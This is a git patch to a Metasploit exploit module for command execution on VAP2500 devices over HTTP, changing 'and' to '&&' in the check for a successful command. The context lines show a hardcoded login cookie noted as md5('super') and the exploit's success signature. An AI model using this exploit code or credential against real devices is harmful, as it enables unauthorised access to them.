From 564488acb4970dda2f010a03f7e27549de6658bb Mon Sep 17 00:00:00 2001 From: headlesszeke Date: Tue, 2 Dec 2014 00:02:53 -0600 Subject: [PATCH] Changed and to && --- modules/exploits/linux/http/vap2500_tools_command_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/vap2500_tools_command_exec.rb b/modules/exploits/linux/http/vap2500_tools_command_exec.rb index 9975c83586..3f4e8cacd8 100644 --- a/modules/exploits/linux/http/vap2500_tools_command_exec.rb +++ b/modules/exploits/linux/http/vap2500_tools_command_exec.rb @@ -90,7 +90,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Cookie' => "p=1b3231655cebb7a1f783eddf27d254ca", # md5("super") } }) - if res and res.code == 200 and res.body.to_s =~ /TOOLS - COMMAND/ + if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/ print_good("#{peer} - Command sent successfully") else fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")